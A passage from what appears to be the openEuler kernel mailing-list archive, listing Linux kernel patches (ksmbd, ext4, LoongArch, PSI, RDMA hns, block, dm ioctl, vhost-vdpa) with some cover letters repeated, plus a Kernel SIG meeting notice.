<linkinjeon(a)kernel.org> Signed-off-by: Steve French <stfrench(a)microsoft.com> Signed-off-by: Zizhi Wo <wozizhi(a)huawei.com> --- fs/ksmbd/connection.c | 12 +++++------- fs/ksmbd/ksmbd_work.h | 2 +- fs/ksmbd/smb2pdu.c | 28 +++++++++++++++++++++------- fs/ksmbd/smb2pdu.h | 1 + 4 files changed, 28 insertions(+), 15 deletions(-) diff --git a/fs/ksmbd/connection.c b/fs/ksmbd/connection.c index 96d6653dabc1..2a0e472f0826 100644 --- a/fs/ksmbd/connection.c +++ b/fs/ksmbd/connection.c @@ -106,10 +106,8 @@ void ksmbd_conn_enqueue_request(struct ksmbd_work *work) struct ksmbd_conn *conn = work->conn; struct list_head *requests_queue = NULL; - if (conn->ops->get_cmd_val(work) != SMB2_CANCEL_HE) { + if (conn->ops->get_cmd_val(work) != SMB2_CANCEL_HE) requests_queue = &conn->requests; - work->syncronous = true; - } if (requests_queue) { atomic_inc(&conn->req_running); @@ -130,14 +128,14 @@ int ksmbd_conn_try_dequeue_request(struct ksmbd_work *work) if (!work->multiRsp) atomic_dec(&conn->req_running); - spin_lock(&conn->request_lock); if (!work->multiRsp) { + spin_lock(&conn->request_lock); list_del_init(&work->request_entry); - if (work->syncronous == false) - list_del_init(&work->async_request_entry); + spin_unlock(&conn->request_lock); + if (work->asyncronous) + release_async_work(work); ret = 0; } - spin_unlock(&conn->request_lock); wake_up_all(&conn->req_running_q); return ret; diff --git a/fs/ksmbd/ksmbd_work.h b/fs/ksmbd/ksmbd_work.h index 5ece58e40c97..3b1fc8fbf7e1 100644 --- a/fs/ksmbd/ksmbd_work.h +++ b/fs/ksmbd/ksmbd_work.h @@ -68,7 +68,7 @@ struct ksmbd_work { /* Request is encrypted */ bool encrypted:1; /* Is this SYNC or ASYNC ksmbd_work */ - bool syncronous:1; + bool asyncronous:1; bool need_invalidate_rkey:1; unsigned int remote_key; diff --git a/fs/ksmbd/smb2pdu.c b/fs/ksmbd/smb2pdu.c index 29e9c94b2f7b..3d6302853b69 100644 --- a/fs/ksmbd/smb2pdu.c +++ b/fs/ksmbd/smb2pdu.c @@ -519,12 +519,6 @@ int init_smb2_rsp_hdr(struct ksmbd_work *work) rsp_hdr->SessionId = rcv_hdr->SessionId; memcpy(rsp_hdr->Signature, rcv_hdr->Signature, 16); - work->syncronous = true; - if (work->async_id) { - ksmbd_release_id(&conn->async_ida, work->async_id); - work->async_id = 0; - } - return 0; } @@ -682,7 +676,7 @@ int setup_async_work(struct ksmbd_work *work, void (*fn)(void **), void **arg) pr_err("Failed to alloc async message id\n"); return id; } - work->syncronous = false; + work->asyncronous = true; work->async_id = id; rsp_hdr->Id.AsyncId = cpu_to_le64(id); @@ -702,6 +696,24 @@ int setup_async_work(struct ksmbd_work *work, void (*fn)(void **), void **arg) return 0; } +void release_async_work(struct ksmbd_work *work) +{ + struct ksmbd_conn *conn = work->conn; + + spin_lock(&conn->request_lock); + list_del_init(&work->async_request_entry); + spin_unlock(&conn->request_lock); + + work->asyncronous = 0; + work->cancel_fn = NULL; + kfree(work->cancel_argv); + work->cancel_argv = NULL; + if (work->async_id) { + ksmbd_release_id(&conn->async_ida, work->async_id); + work->async_id = 0; + } +} + void smb2_send_interim_resp(struct ksmbd_work *work, __le32 status) { struct smb2_hdr *rsp_hdr; @@ -7091,6 +7103,7 @@ int smb2_lock(struct ksmbd_work *work) work->send_no_response = 1; goto out; } + init_smb2_rsp_hdr(work); smb2_set_err_rsp(work); rsp->hdr.Status = @@ -7107,6 +7120,7 @@ int smb2_lock(struct ksmbd_work *work) spin_lock(&fp->f_lock); list_del(&work->fp_entry); spin_unlock(&fp->f_lock); + release_async_work(work); goto retry; } else if (!rc) { spin_lock(&work->conn->llist_lock); diff --git a/fs/ksmbd/smb2pdu.h b/fs/ksmbd/smb2pdu.h index ba255fd2f77c..089eb93a166f 100644 --- a/fs/ksmbd/smb2pdu.h +++ b/fs/ksmbd/smb2pdu.h @@ -1664,6 +1664,7 @@ int find_matching_smb2_dialect(int start_index, __le16 *cli_dialects, struct file_lock *smb_flock_init(struct file *f); int setup_async_work(struct ksmbd_work *work, void (*fn)(void **), void **arg); +void release_async_work(struct ksmbd_work *work); void smb2_send_interim_resp(struct ksmbd_work *work, __le32 status); struct channel *lookup_chann_list(struct ksmbd_session *sess, struct ksmbd_conn *conn); -- 2.39.2

2 1

[PATCH OLK-5.10 0/2] ext4: mitigatin cacheline false sharing in struct ext4_inode_info
by Zeng Heng 23 Nov '23

23 Nov '23

Yang Yingliang (2): ext4: mitigatin cacheline false sharing in struct ext4_inode_info enable MITIGATION_FALSE_SHARING by default arch/arm64/configs/openeuler_defconfig | 1 + arch/x86/configs/openeuler_defconfig | 1 + fs/ext4/Kconfig | 9 +++++++++ fs/ext4/ext4.h | 5 +++++ fs/ext4/super.c | 4 ++++ 5 files changed, 20 insertions(+) -- 2.25.1

2 7

[PATCH OLK-5.10] LoongArch: disable 40bit user space by default
by Hongchen Zhang 23 Nov '23

23 Nov '23

LoongArch inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8IRUM ------------------------------------------ Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/configs/loongson3_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/loongarch/configs/loongson3_defconfig b/arch/loongarch/configs/loongson3_defconfig index d2beed31ab74..2f917ae20f76 100644 --- a/arch/loongarch/configs/loongson3_defconfig +++ b/arch/loongarch/configs/loongson3_defconfig @@ -44,6 +44,7 @@ CONFIG_CPU_HAS_LSX=y CONFIG_CPU_HAS_LASX=y CONFIG_NR_CPUS=256 CONFIG_NUMA=y +# CONFIG_VA_BITS_40 is not set CONFIG_KEXEC=y CONFIG_CRASH_DUMP=y CONFIG_PARAVIRT_TIME_ACCOUNTING=y -- 2.33.0

2 5

[PATCH OLK-5.10] LoongArch: disable 40bit user space by default
by Hongchen Zhang 23 Nov '23

23 Nov '23

LoongArch inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8IRUM ------------------------------------------ Signed-off-by: Hongchen Zhang <zhanghongchen(a)loongson.cn> --- arch/loongarch/configs/loongson3_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/loongarch/configs/loongson3_defconfig b/arch/loongarch/configs/loongson3_defconfig index d2beed31ab74..2f917ae20f76 100644 --- a/arch/loongarch/configs/loongson3_defconfig +++ b/arch/loongarch/configs/loongson3_defconfig @@ -44,6 +44,7 @@ CONFIG_CPU_HAS_LSX=y CONFIG_CPU_HAS_LASX=y CONFIG_NR_CPUS=256 CONFIG_NUMA=y +# CONFIG_VA_BITS_40 is not set CONFIG_KEXEC=y CONFIG_CRASH_DUMP=y CONFIG_PARAVIRT_TIME_ACCOUNTING=y -- 2.33.0

2 5

[PATCH OLK-6.6 00/30] Backport linux 6.6.1 LTS patches
by Zheng Zengkai 22 Nov '23

22 Nov '23

Backport linux-6.6.1 LTS patches from upstream. git cherry-pick v6.6..v6.6.1~1 -s No conflicts. Andrey Konovalov (1): usb: raw-gadget: properly handle interrupted requests Badhri Jagan Sridharan (1): usb: typec: tcpm: Add additional checks for contaminant Cameron Williams (9): tty: 8250: Remove UC-257 and UC-431 tty: 8250: Add support for additional Brainboxes UC cards tty: 8250: Add support for Brainboxes UP cards tty: 8250: Add support for Intashield IS-100 tty: 8250: Fix port count of PX-257 tty: 8250: Fix up PX-803/PX-857 tty: 8250: Add support for additional Brainboxes PX cards tty: 8250: Add support for Intashield IX cards tty: 8250: Add Brainboxes Oxford Semiconductor-based quirks Daniel Starke (1): tty: n_gsm: fix race condition in status line change on dead connections Francesco Dolcini (1): dt-bindings: serial: rs485: Add rs485-rts-active-high Ian Rogers (1): perf evlist: Avoid frequency mode for the dummy event Janne Grunau (1): Bluetooth: hci_bcm4377: Mark bcm4378/bcm4387 as BROKEN_LE_CODED Jimmy Hu (1): usb: typec: tcpm: Fix NULL pointer dereference in tcpm_pd_svdm() Kai-Heng Feng (1): power: supply: core: Use blocking_notifier_call_chain to avoid RCU complaint LihaSika (1): usb: storage: set 1.50 as the lower bcdDevice for older "Super Top" compatibility Mark Hasemeyer (2): ALSA: hda: intel-dsp-config: Fix JSL Chromebook quirk detection ASoC: SOF: sof-pci-dev: Fix community key quirk detection Max McCarthy (1): ALSA: usb-audio: add quirk flag to enable native DSD for McIntosh devices Nicholas Kazlauskas (1): drm/amd/display: Don't use fsleep for PSR exit waits Siddharth Vadapalli (1): misc: pci_endpoint_test: Add deviceID for J721S2 PCIe EP device support Steven Rostedt (Google) (5): tracing: Have trace_event_file have ref counters eventfs: Remove "is_freed" union with rcu head eventfs: Save ownership and mode eventfs: Delete eventfs_inode when the last dentry is freed eventfs: Use simple_recursive_removal() to clean up dentries Tony Lindgren (1): serial: core: Fix runtime PM handling for pending tx Vicki Pfau (1): PCI: Prevent xHCI driver from claiming AMD VanGogh USB3 DRD device .../devicetree/bindings/serial/rs485.yaml | 4 + drivers/bluetooth/hci_bcm4377.c | 5 + drivers/gpu/drm/amd/display/dc/dce/dce_dmcu.c | 3 +- drivers/gpu/drm/amd/display/dc/dce/dmub_psr.c | 3 +- drivers/misc/pci_endpoint_test.c | 4 + drivers/pci/quirks.c | 8 +- drivers/power/supply/power_supply_core.c | 8 +- drivers/tty/n_gsm.c | 2 + drivers/tty/serial/8250/8250_pci.c | 327 +++++++++++++++++- drivers/tty/serial/serial_core.c | 2 +- drivers/usb/gadget/legacy/raw_gadget.c | 26 +- drivers/usb/storage/unusual_cypress.h | 2 +- drivers/usb/typec/tcpm/tcpm.c | 5 + fs/tracefs/event_inode.c | 288 +++++++++------ include/linux/pci_ids.h | 1 + include/linux/power_supply.h | 2 +- include/linux/trace_events.h | 4 + kernel/trace/trace.c | 15 + kernel/trace/trace.h | 3 + kernel/trace/trace_events.c | 31 +- kernel/trace/trace_events_filter.c | 3 + sound/hda/intel-dsp-config.c | 6 + sound/soc/sof/sof-pci-dev.c | 7 + sound/usb/quirks.c | 2 + tools/perf/util/evlist.c | 5 +- 25 files changed, 622 insertions(+), 144 deletions(-) -- 2.20.1

1 30

Kernel SIG 双周例会时间提醒：11.24日下午14:00 // 答复: openEuler Kernel SIG 双周例会
by liaotao (C) 22 Nov '23

22 Nov '23

诚邀您参加openEuler Kernel SIG 双周例会，欢迎您自主申报例会议题~ -----原始约会----- 发件人: openEuler conference <public(a)openeuler.org> 发送时间: 2023年11月10日 14:57 收件人: dev@openeuler.org,kernel-discuss@openeuler.org,kernel@openeuler.org 主题: openEuler Kernel SIG 双周例会时间: 2023年11月24日星期五 14:00-15:45(UTC+08:00) 北京，重庆，香港特别行政区，乌鲁木齐。地点: 您好！ Kernel SIG 邀请您参加 2023-11-24 14:00 召开的WeLink会议(自动录制) 会议主题：openEuler Kernel SIG 双周例会会议内容： 1. 进展update 2. 议题征集中（新增议题可回复邮件申请，也可直接填至会议看板）会议链接：https://bmeeting.huaweicloud.com:36443/#/j/963265866 会议纪要：https://etherpad.openeuler.org/p/Kernel-meetings 温馨提醒：建议接入会议后修改参会人的姓名，也可以使用您在gitee.com的ID 更多资讯尽在：https://openeuler.org/zh/ Hello! openEuler Kernel SIG invites you to attend the WeLink conference(auto recording) will be held at 2023-11-24 14:00, The subject of the conference is openEuler Kernel SIG 双周例会, Summary: 1. 进展update 2. 议题征集中（新增议题可回复邮件申请，也可直接填至会议看板） You can join the meeting at https://bmeeting.huaweicloud.com:36443/#/j/963265866. Add topics at https://etherpad.openeuler.org/p/Kernel-meetings. Note: You are advised to change the participant name after joining the conference or use your ID at gitee.com. More information: https://openeuler.org/en/

1 0

[PATCH OLK-5.10 00/20] psi irq in cgroupv1 and psi fine grained
by Lu Jialin 22 Nov '23

22 Nov '23

Chen Wandun (3): mm: disable psi cgroup v1 by default mm: add config isolation for psi under cgroup v1 psi: dont alloc memory for psi by default Chengming Zhou (3): sched/psi: Fix periodic aggregation shut off sched/psi: Optimize task switch inside shared cgroups again sched/psi: Add PSI_IRQ to track IRQ/SOFTIRQ pressure Hao Jia (1): sched/psi: Zero the memory of struct psi_group Johannes Weiner (1): sched/psi: Remove NR_ONCPU task accounting Lu Jialin (11): psi: support irq.pressure under cgroup v1 psi: enable CONFIG_PSI_CGROUP_V1 in openeuler_defconfig psi: update psi irqtime when the irq delta is nozero memcg: split async memcg reclaim from reclaim_high psi: add struct psi_group_ext PSI: Introduce fine grained stall time collect for cgroup reclaim PSI: Introduce avgs and total calculation for cgroup reclaim PSI: Introduce pressure.stat in psi PSI: add more memory fine grained stall tracking in pressure.stat add cpu fine grained stall tracking in pressure.stat PSI: enable CONFIG_PSI_FINE_GRAINED in openeuler_defconfig Suren Baghdasaryan (1): psi: Fix "defined but not used" warnings when CONFIG_PROC_FS=n Documentation/admin-guide/cgroup-v2.rst | 6 + arch/arm64/configs/openeuler_defconfig | 2 + arch/x86/configs/openeuler_defconfig | 2 + block/blk-cgroup.c | 2 +- block/blk-core.c | 2 +- include/linux/cgroup-defs.h | 6 +- include/linux/cgroup.h | 2 +- include/linux/psi.h | 9 +- include/linux/psi_types.h | 99 +++- include/linux/sched.h | 4 + init/Kconfig | 20 + kernel/cgroup/cgroup.c | 64 ++- kernel/sched/core.c | 2 + kernel/sched/cpuacct.c | 6 +- kernel/sched/fair.c | 6 - kernel/sched/psi.c | 690 ++++++++++++++++++++---- kernel/sched/stats.h | 9 + mm/compaction.c | 2 +- mm/filemap.c | 4 +- mm/memcontrol.c | 92 ++-- mm/page_alloc.c | 6 + mm/page_io.c | 3 + mm/vmscan.c | 5 +- 23 files changed, 872 insertions(+), 171 deletions(-) -- 2.34.1

1 20

[src-openEuler/rdma-core v2] libhns: Get dmac from kernel driver
by Chengchang Tang 22 Nov '23

22 Nov '23

From: Junxian Huang <huangjunxian6(a)hisilicon.com> driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8HZ7W -------------------------------------------------------------------------- As dmac is already resolved in kernel while creating AH, there is no need to repeat the resolving in userspace. Prioritizes getting dmac from kernel driver, unless kernel driver didn't response one. Signed-off-by: Junxian Huang <huangjunxian6(a)hisilicon.com> --- kernel-headers/rdma/hns-abi.h | 2 +- providers/hns/hns_roce_u_verbs.c | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/kernel-headers/rdma/hns-abi.h b/kernel-headers/rdma/hns-abi.h index 785c4e1..8581df9 100644 --- a/kernel-headers/rdma/hns-abi.h +++ b/kernel-headers/rdma/hns-abi.h @@ -135,7 +135,7 @@ struct hns_roce_ib_create_qp_resp { struct hns_roce_ib_create_ah_resp { __u8 priority; __u8 tc_mode; - __u8 reserved[6]; + __u8 dmac[6]; }; struct hns_roce_ib_modify_qp_resp { diff --git a/providers/hns/hns_roce_u_verbs.c b/providers/hns/hns_roce_u_verbs.c index 5e46f89..c906632 100644 --- a/providers/hns/hns_roce_u_verbs.c +++ b/providers/hns/hns_roce_u_verbs.c @@ -2210,9 +2210,13 @@ struct ibv_ah *hns_roce_u_create_ah(struct ibv_pd *pd, struct ibv_ah_attr *attr) if (ibv_cmd_create_ah(pd, &ah->ibv_ah, attr, &resp.ibv_resp, sizeof(resp))) goto err; - if (hr_dev->link_type != HNS_DEV_LINK_TYPE_UB && - ibv_resolve_eth_l2_from_gid(pd->context, attr, ah->av.mac, NULL)) - goto err; + if (hr_dev->link_type != HNS_DEV_LINK_TYPE_UB) { + if (memcmp(ah->av.mac, resp.dmac, ETH_ALEN)) + memcpy(ah->av.mac, resp.dmac, ETH_ALEN); + else if (ibv_resolve_eth_l2_from_gid(pd->context, attr, + ah->av.mac, NULL)) + goto err; + } if (resp.tc_mode == HNS_ROCE_TC_MAP_MODE_DSCP) ah->av.sl = resp.priority; -- 2.30.0

1 0

[OLK-5.10 v3 0/8] A set of bugfixes for openEuler.
by Chengchang Tang 22 Nov '23

22 Nov '23

From: Juan Zhou <zhoujuan51(a)h-partners.com> Junxian Huang (5): RDMA/hns: Fix incorrect congest type configuration RDMA/hns: Fix a missing default value for invalid congest type RDMA/hns: Cleanup of RoCE Bonding driver RDMA/hns: Add a max length of gid table RDMA/hns: Response dmac to userspace Luoyouming (2): RDMA/hns: Fix congestions control algorithm type for UD RDMA/hns: Fix a missing validation check for sl wenglianfa (1): RDMA/hns: Fix simultaneous reset and resource deregistration drivers/infiniband/hw/hns/hns_roce_ah.c | 10 +++ drivers/infiniband/hw/hns/hns_roce_bond.c | 10 +-- drivers/infiniband/hw/hns/hns_roce_cq.c | 26 +++++- drivers/infiniband/hw/hns/hns_roce_db.c | 30 +++++-- drivers/infiniband/hw/hns/hns_roce_device.h | 34 +++++++- drivers/infiniband/hw/hns/hns_roce_hw_v2.c | 27 ++++-- drivers/infiniband/hw/hns/hns_roce_main.c | 8 ++ drivers/infiniband/hw/hns/hns_roce_mr.c | 92 ++++++++++++++++++++- drivers/infiniband/hw/hns/hns_roce_qp.c | 61 ++++++++++---- drivers/infiniband/hw/hns/hns_roce_srq.c | 39 +++++++-- include/uapi/rdma/hns-abi.h | 2 +- 11 files changed, 292 insertions(+), 47 deletions(-) -- 2.30.0

1 8

[PATCH OLK-5.10 00/20] psi irq in cgroupv1 and psi fine grained
by Lu Jialin 22 Nov '23

22 Nov '23

Chen Wandun (3): mm: disable psi cgroup v1 by default mm: add config isolation for psi under cgroup v1 psi: dont alloc memory for psi by default Chengming Zhou (3): sched/psi: Fix periodic aggregation shut off sched/psi: Optimize task switch inside shared cgroups again sched/psi: Add PSI_IRQ to track IRQ/SOFTIRQ pressure Hao Jia (1): sched/psi: Zero the memory of struct psi_group Johannes Weiner (1): sched/psi: Remove NR_ONCPU task accounting Lu Jialin (11): psi: support irq.pressure under cgroup v1 psi: enable CONFIG_PSI_CGROUP_V1 in openeuler_defconfig psi: update psi irqtime when the irq delta is nozero memcg: split async memcg reclaim from reclaim_high psi: add struct psi_group_ext PSI: Introduce fine grained stall time collect for cgroup reclaim PSI: Introduce avgs and total calculation for cgroup reclaim PSI: Introduce pressure.stat in psi PSI: add more memory fine grained stall tracking in pressure.stat add cpu fine grained stall tracking in pressure.stat PSI: enable CONFIG_PSI_FINE_GRAINED in openeuler_defconfig Suren Baghdasaryan (1): psi: Fix "defined but not used" warnings when CONFIG_PROC_FS=n Documentation/admin-guide/cgroup-v2.rst | 6 + arch/arm64/configs/openeuler_defconfig | 2 + arch/x86/configs/openeuler_defconfig | 2 + block/blk-cgroup.c | 2 +- block/blk-core.c | 2 +- include/linux/cgroup-defs.h | 6 +- include/linux/cgroup.h | 2 +- include/linux/psi.h | 9 +- include/linux/psi_types.h | 99 +++- include/linux/sched.h | 4 + init/Kconfig | 20 + kernel/cgroup/cgroup.c | 64 ++- kernel/sched/core.c | 2 + kernel/sched/cpuacct.c | 6 +- kernel/sched/fair.c | 6 - kernel/sched/psi.c | 690 ++++++++++++++++++++---- kernel/sched/stats.h | 9 + mm/compaction.c | 2 +- mm/filemap.c | 4 +- mm/memcontrol.c | 92 ++-- mm/page_alloc.c | 6 + mm/page_io.c | 3 + mm/vmscan.c | 5 +- 23 files changed, 872 insertions(+), 171 deletions(-) -- 2.34.1

1 20

[PATCH openEuler-22.03-LTS 00/17] Add error handle for add_disk
by Li Nan 22 Nov '23

22 Nov '23

Christoph Hellwig (5): block: fold register_disk into device_add_disk block: call blk_integrity_add earlier in device_add_disk block: add the events* attributes to disk_attrs block: fix error unwinding in device_add_disk block: clear ->slave_dir when dropping the main slave_dir reference Luis Chamberlain (4): block: return errors from blk_integrity_add block: return errors from disk_alloc_events block: add error handling for device_add_disk / add_disk block: fix device_add_disk() kobject_create_and_add() error handling Tetsuo Handa (1): block: check minor range in device_add_disk() Yu Kuai (1): block: fix memory leak for elevator on add_disk failure Zhong Jinghua (6): block: return errors from blk_register_region block: Fix the kabi change in device_add_disk block: Fix the kabi change on blk_register_region block: call blk_get_queue earlier in __device_add_disk block: Fix minor range check in device_add_disk() block: Set memalloc_noio to false in the error path block/blk.h | 5 +- include/linux/genhd.h | 13 +++ block/blk-integrity.c | 12 ++- block/genhd.c | 246 +++++++++++++++++++++++++----------------- 4 files changed, 173 insertions(+), 103 deletions(-) -- 2.39.2

1 17

[PATCH OLK-6.6 v2] dm ioctl: add DMINFO() to track dm device create/remove
by Li Lingfeng 21 Nov '23

21 Nov '23

From: Luo Meng <luomeng12(a)huawei.com> hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8HVC5 CVE: NA -------------------------------- Add DMINFO() to help tracking device creation/removal success. Signed-off-by: Luo Meng <luomeng12(a)huawei.com> Reviewed-by: Zhang Yi <yi.zhang(a)huawei.com> Signed-off-by: Zheng Zengkai <zhengzengkai(a)huawei.com> Signed-off-by: Li Lingfeng <lilingfeng3(a)huawei.com> --- drivers/md/dm-ioctl.c | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/drivers/md/dm-ioctl.c b/drivers/md/dm-ioctl.c index 21ebb6c39394..5efe0193b2e8 100644 --- a/drivers/md/dm-ioctl.c +++ b/drivers/md/dm-ioctl.c @@ -327,6 +327,9 @@ static struct dm_table *__hash_remove(struct hash_cell *hc) table = NULL; if (hc->new_map) table = hc->new_map; + + DMINFO("%s[%i]: %s (%s) is removed successfully", + current->comm, current->pid, hc->md->disk->disk_name, hc->name); dm_put(hc->md); free_cell(hc); @@ -880,6 +883,7 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si { int r, m = DM_ANY_MINOR; struct mapped_device *md; + struct hash_cell *hc; r = check_name(param->name); if (r) @@ -903,6 +907,13 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si __dev_status(md, param); + mutex_lock(&dm_hash_cells_mutex); + hc = dm_get_mdptr(md); + if (hc) + DMINFO("%s[%i]: %s (%s) is created successfully", + current->comm, current->pid, md->disk->disk_name, hc->name); + + mutex_unlock(&dm_hash_cells_mutex); dm_put(md); return 0; -- 2.31.1

2 5

[PATCH V2 OLK-5.10] vhost-vdpa: allow set feature VHOST_F_LOG_ALL when been negotiated.
by Jiang Dongxu 21 Nov '23

21 Nov '23

From: jiangdongxu <jiangdongxu1(a)huawei.com> virt inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I86ITO ---------------------------------------------------------------------- It's not allowed to change the features after vhost-vdpa devices have been negotiated. But log start/end is allowed. Add exception to feature VHOST_F_LOG_ALL. Signed-off-by: jiangdongxu <jiangdongxu1(a)huawei.com> --- drivers/vhost/vdpa.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c index 8e3bf64123ae..eec8027dfc4f 100644 --- a/drivers/vhost/vdpa.c +++ b/drivers/vhost/vdpa.c @@ -425,16 +425,19 @@ static long vhost_vdpa_set_features(struct vhost_vdpa *v, u64 __user *featurep) u64 features; int i; + if (copy_from_user(&features, featurep, sizeof(features))) + return -EFAULT; + + actual_features = ops->get_driver_features(vdpa); + /* * It's not allowed to change the features after they have - * been negotiated. + * been negotiated. But log start/end is allowed. */ - if (ops->get_status(vdpa) & VIRTIO_CONFIG_S_FEATURES_OK) + if ((ops->get_status(vdpa) & VIRTIO_CONFIG_S_FEATURES_OK) && + (features & ~(BIT_ULL(VHOST_F_LOG_ALL))) != actual_features) return -EBUSY; - if (copy_from_user(&features, featurep, sizeof(features))) - return -EFAULT; - if (vdpa_set_features(vdpa, features)) return -EINVAL; -- 2.27.0

2 5

[OLK-6.6 v2] dm ioctl: add DMINFO() to track dm device create/remove
by Li Lingfeng 21 Nov '23

21 Nov '23

From: Luo Meng <luomeng12(a)huawei.com> hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8HVC5 CVE: NA -------------------------------- Add DMINFO() to help tracking device creation/removal success. Signed-off-by: Luo Meng <luomeng12(a)huawei.com> Reviewed-by: Zhang Yi <yi.zhang(a)huawei.com> Signed-off-by: Zheng Zengkai <zhengzengkai(a)huawei.com> Signed-off-by: Li Lingfeng <lilingfeng3(a)huawei.com> --- drivers/md/dm-ioctl.c | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/drivers/md/dm-ioctl.c b/drivers/md/dm-ioctl.c index 21ebb6c39394..5efe0193b2e8 100644 --- a/drivers/md/dm-ioctl.c +++ b/drivers/md/dm-ioctl.c @@ -327,6 +327,9 @@ static struct dm_table *__hash_remove(struct hash_cell *hc) table = NULL; if (hc->new_map) table = hc->new_map; + + DMINFO("%s[%i]: %s (%s) is removed successfully", + current->comm, current->pid, hc->md->disk->disk_name, hc->name); dm_put(hc->md); free_cell(hc); @@ -880,6 +883,7 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si { int r, m = DM_ANY_MINOR; struct mapped_device *md; + struct hash_cell *hc; r = check_name(param->name); if (r) @@ -903,6 +907,13 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si __dev_status(md, param); + mutex_lock(&dm_hash_cells_mutex); + hc = dm_get_mdptr(md); + if (hc) + DMINFO("%s[%i]: %s (%s) is created successfully", + current->comm, current->pid, md->disk->disk_name, hc->name); + + mutex_unlock(&dm_hash_cells_mutex); dm_put(md); return 0; -- 2.31.1

1 0

[PATCH OLK-5.10] vhost-vdpa: allow set feature VHOST_F_LOG_ALL when been negotiated.
by Jiang Dongxu 21 Nov '23

21 Nov '23

From: jiangdongxu <jiangdongxu1(a)huawei.com> virt inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I86ITO ---------------------------------------------------------------------- It's not allowed to change the features after vhost-vdpa devices have been negotiated. But log start/end is allowed. Add exception to feature VHOST_F_LOG_ALL. Signed-off-by: jiangdongxu <jiangdongxu1(a)huawei.com> --- drivers/vhost/vdpa.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c index 8e3bf64123ae..eec8027dfc4f 100644 --- a/drivers/vhost/vdpa.c +++ b/drivers/vhost/vdpa.c @@ -425,16 +425,19 @@ static long vhost_vdpa_set_features(struct vhost_vdpa *v, u64 __user *featurep) u64 features; int i; + if (copy_from_user(&features, featurep, sizeof(features))) + return -EFAULT; + + actual_features = ops->get_driver_features(vdpa); + /* * It's not allowed to change the features after they have - * been negotiated. + * been negotiated. But log start/end is allowed. */ - if (ops->get_status(vdpa) & VIRTIO_CONFIG_S_FEATURES_OK) + if ((ops->get_status(vdpa) & VIRTIO_CONFIG_S_FEATURES_OK) && + (features & ~(BIT_ULL(VHOST_F_LOG_ALL))) != actual_features) return -EBUSY; - if (copy_from_user(&features, featurep, sizeof(features))) - return -EFAULT; - if (vdpa_set_features(vdpa, features)) return -EINVAL; -- 2.27.0

2 5

[PATCH OLK-6.6] dm ioctl: add DMINFO() to track dm device create/remove
by Li Lingfeng 21 Nov '23

21 Nov '23

From: Luo Meng <luomeng12(a)huawei.com> hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8HVC5 CVE: NA -------------------------------- Add DMINFO() to help tracking device creation/removal success. Signed-off-by: Luo Meng <luomeng12(a)huawei.com> Reviewed-by: Zhang Yi <yi.zhang(a)huawei.com> Signed-off-by: Zheng Zengkai <zhengzengkai(a)huawei.com> Signed-off-by: Li Lingfeng <lilingfeng3(a)huawei.com> --- drivers/md/dm-ioctl.c | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/drivers/md/dm-ioctl.c b/drivers/md/dm-ioctl.c index 21ebb6c39394..5efe0193b2e8 100644 --- a/drivers/md/dm-ioctl.c +++ b/drivers/md/dm-ioctl.c @@ -327,6 +327,9 @@ static struct dm_table *__hash_remove(struct hash_cell *hc) table = NULL; if (hc->new_map) table = hc->new_map; + + DMINFO("%s[%i]: %s (%s) is removed successfully", + current->comm, current->pid, hc->md->disk->disk_name, hc->name); dm_put(hc->md); free_cell(hc); @@ -880,6 +883,7 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si { int r, m = DM_ANY_MINOR; struct mapped_device *md; + struct hash_cell *hc; r = check_name(param->name); if (r) @@ -903,6 +907,13 @@ static int dev_create(struct file *filp, struct dm_ioctl *param, size_t param_si __dev_status(md, param); + mutex_lock(&dm_hash_cells_mutex); + hc = dm_get_mdptr(md); + if (hc) + DMINFO("%s[%i]: %s (%s) is created successfully", + current->comm, current->pid, md->disk->disk_name, hc->name); + + mutex_unlock(&dm_hash_cells_mutex); dm_put(md); return 0; -- 2.31.1

2 1

[PATCH OLK-5.10] vhost_vdpa: add reset state params to indicate reset level
by Jiang Dongxu 21 Nov '23

21 Nov '23

From: jiangdongxu1 <jiangdongxu1(a)huawei.com> virt inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I86ITO ---------------------------------------------------------------------- Add the interface parameter state to the vdpa reset interface, which respectively identifies the reset when the device is turned on/off and the virtio reset issued by the virtual machine. Signed-off-by: jiangdongxu1 <jiangdongxu1(a)huawei.com> --- drivers/vhost/vdpa.c | 10 +++++----- include/linux/vdpa.h | 16 +++++++++++++--- 2 files changed, 18 insertions(+), 8 deletions(-) diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c index eec8027dfc4f..eed51d004531 100644 --- a/drivers/vhost/vdpa.c +++ b/drivers/vhost/vdpa.c @@ -212,13 +212,13 @@ static void vhost_vdpa_unsetup_vq_irq(struct vhost_vdpa *v, u16 qid) irq_bypass_unregister_producer(&vq->call_ctx.producer); } -static int vhost_vdpa_reset(struct vhost_vdpa *v) +static int vhost_vdpa_reset(struct vhost_vdpa *v, int state) { struct vdpa_device *vdpa = v->vdpa; v->in_batch = 0; - return vdpa_reset(vdpa); + return vdpa_reset(vdpa, state); } static long 